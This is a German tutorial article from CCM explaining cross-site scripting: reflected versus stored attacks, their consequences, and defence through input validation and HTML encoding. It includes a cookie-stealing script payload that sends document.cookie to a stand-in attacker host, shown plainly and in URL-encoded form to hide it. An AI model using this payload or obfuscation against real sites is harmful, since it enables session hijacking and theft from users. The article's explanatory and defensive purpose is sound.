Angriffe durch Cross-Site-Scripting

Cross-Site-Scripting ist eine Methode von Hackern, Webseiten zu manipulieren und dadurch Schadcodes in das System einzuschleusen. Dabei tarnen sie diesen als vertrauenswürdigen Inhalt.

Einfügen von bösartigem Code

Angriffe durch Cross-Site-Scripting (auch XSS genannt) sind Angriffe, die gegen Webseiten gerichtet sind, die User-Inhalte dynamisch darstellen, ohne die von den Usern eingegebenen Daten zu überprüfen oder zu codieren. Cross-Site-Scripting-Angriffe bestehen darin, eine Website dazu zu bringen, vom User eingegebene HTML-Codes oder Scripts auszuführen, in die sogenannt bösartige Codes eingefügt (man verwendet den Begriff "injiziert") wurden.

Es kommt oft vor, dass Seiten Informationen anzeigen, indem sie direkt einen vom User eingegebenen Parameter aufgreifen. Das klassische Beispiel ist das der Fehler-404-Seite. Manche Webseiten ändern die Reaktion der Webseite, so dass eine persönliche Fehlermeldung angezeigt wird, wenn die vom User aufgerufene Seite nicht existiert. Manchmal zeigt die dynamisch generierte Seite den Namen der aufgerufenen Seite an.

Gehen wir davon aus, http://anfällige.Seite sei eine Seite mit solch einer Schwachstelle. Der Aufruf der URL http://anfällige.Seite/nichtexistente-Seite entspricht dem Aufruf einer Seite, die es nicht gibt und führt zur Anzeige einer Fehlermeldung, die darauf hinweist, dass nichtexistente-Seite nicht existiert. So ist es möglich, sich von der Webseite das anzeigen zu lassen, was man sehen möchte, indem man nichtexistente-Seite durch eine beliebige andere Zeichenfolge ersetzt.

Wenn also der von Usern eingegebene Inhalt in keinster Weise kontrolliert wird, ist es möglich, beliebigen HTML-Code auf einer Webseite anzuzeigen, um deren Erscheinungsbild, Inhalt oder Verhalten zu ändern.

Außerdem sind die meisten Browser imstande, auf Webseite enthaltene Scripts zu interpretieren, die in verschiedenen Sprachen geschrieben sind, wie JavaScript, VBScript, Java, ActiveX oder Flash. Die folgenden HTML-Tags ermöglichen es so, ausführbare Scripts in Webseiten einzufügen: <SCRIPT>, <OBJECT>, <APPLET> und <EMBED>.

So kann ein Hacker beliebigen Code in eine Webseite injizieren, damit dieser vom PC des Users ausgeführt wird, und zwar innerhalb des Sicherheitsbereichs der betroffenen Webseite. Um dies zu tun, genügt es, den Wert des Textes, der angezeigt werden soll, durch ein Script zu ersetzen, damit dieses auf der Webseite angezeigt wird. Sofern der Browser des Users so konfiguriert ist, dass solche Scripts ausgeführt werden, hat der bösartige Code Zugang zu allen Daten, die der Userwebseite und dem Server gemeinsam sind (Cookies, Formularfelder usw.).

Folgen von Cross-Site Scripting

Durch die Schwachstelle des Cross-Site-Scripting ist es einem Hacker möglich, Daten zu gewinnen, die zwischen dem User und der jeweiligen Webseite ausgetauscht wurden. Der in die Webseite injizierte Code kann so dazu dienen, ein Formular anzuzeigen, um den User zu täuschen und ihn beispielsweise dazu zu bringen, Authentifizierungsinformationen einzugeben.

Des weiteren kann das injizierte Skript dazu dienen, den User zu einer vom Hacker kontrollierten Seite zu leiten, die unter Umständen genauso aussieht wie die manipulierte Seite, um den User hinters Licht zu führen.

Fortdauer des Angriffs

Wenn die vom User eingegebenen Daten eine Zeitlang auf dem Server gespeichert sind (zum Beispiel bei Diskussionsforen), wird der Angriff fortwährend genannt. Alle User der Webseite haben Zugriff auf die Seite, in die der bösartige Code eingefügt wurde.

Angriffe, die nicht fortwährend sind, betreffen dynamische Webseiten, auf denen eine vom User eingegebene Variable als solche dargestellt wird (beispielsweise die Anzeige des Usernamens, der aktuellen Seite oder eines im Formularfeld eingegebenen Wortes). Um diese Schwachstelle ausnutzen zu können, muss der Angreifer dem Opfer eine veränderte URL liefern und den einzugebenden Code als Parameter ausgeben. Allerdings könnte dem Opfer eine URL, die Javascript-Code-Elemente enthält, verdächtig vorkommen. Deshalb wird dieser Angriff meist so ausgeführt, dass die Daten in der URL codiert werden, damit sie den Code, der dem User injiziert wird, maskiert.

Beispiel für einen Cross-Site-Scripting-Angriff

Nehmen wir an, die Startseite von Kioskea.net sei anfällig für einen Cross-Site-Scripting-Angriff, da auf der Startseite eine Willkommensnachricht mit dem Namen des Users als Parameter angezeigt werden kann:

https://de.ccm.net/?name=Jeff

Jemand mit schlechten Absichten kann einen nicht fortwährenden Cross-Site-Scripting-Angriff durchführen, indem er einem Opfer eine Adresse liefert, die den Namen Jeff durch HTML-Code ersetzt. Er könnte zum Beispiel den folgenden Javascript-Code als Parameter ausgeben, welcher den User zu einer von ihm kontrollierten Seite weiterleitet:

<SCRIPT>       
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

Der oben aufgeführte Code ruft die Cookies des Users ab und übermittelt sie als Parameter an ein CGI-Skript. Ein solcher Code als Parameter wäre zu offensichtlich:

http://www.commentcamarche.net/?nom=<SCRIPT>document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

Das Codieren der URL ermöglicht es jedoch, den Angriff zu verschleiern:

http://www.commentcamarche.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%    
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Cross-Attack

Im vorherigen Beispiel wurde das gesamte Script als Parameter der URL ausgegeben. Die GET-Methode, die es erlaubt, Parameter in der URL auszugeben, ist auf eine Maximallänge von 255 Zeichen für die URL beschränkt. Durch das SRC Attribut des <SCRIPT>-Tags wird es möglich, bösartigen Code auszuführen, der in einem Script auf einem fremden Server gespeichert ist. Wenn dadurch die Injektion von Code von einer fremden Quelle ermöglicht wird, wird diese Art des Angriffs Cross-Site genannt.

Schutz vor Cross-Site-Scripting

Von Seiten des Users ist es möglich, sich vor XSS-Angriffen zu schützen, indem er den Browser so konfiguriert, dass Scripts nicht ausgeführt werden. In Wirklichkeit bringt diese Lösung aber oft starke Einschränkungen für den User mit sich, da viele Seiten nicht richtig funktionieren, wenn die Ausführung von dynamischem Code nicht möglich ist.

Die einzige verlässliche Möglichkeit, Cross-Site Scripting-Angriffe zu verhindern, besteht darin, Webseiten zu konzipieren, die nicht dafür anfällig sind. Dafür muss eine Webseite zwei Bedingungen erfüllen: Sie muss das Format der vom User eingegebenen Daten überprüfen und die angezeigten Userdaten codieren und dabei die Sonderzeichen durch ihre HTML-Äquivalente ersetzen.

Foto: © Pixabay.

Unsere Inhalte werden in Zusammenarbeit mit IT-Experten erstellt, unter der Leitung von Jean-François Pillou, Gründer von CCM.net. CCM ist eine führende internationale Technologie-Webseite und in elf Sprachen verfügbar.
Das Dokument mit dem Titel « Angriffe durch Cross-Site-Scripting » wird auf CCM (de.ccm.net) unter den Bedingungen der Creative Commons-Lizenz zur Verfügung gestellt. Unter Berücksichtigung der Lizenzvereinbarungen dürfen Sie das Dokument verwenden, verändern und kopieren, wenn Sie dabei CCM deutlich als Urheber kennzeichnen.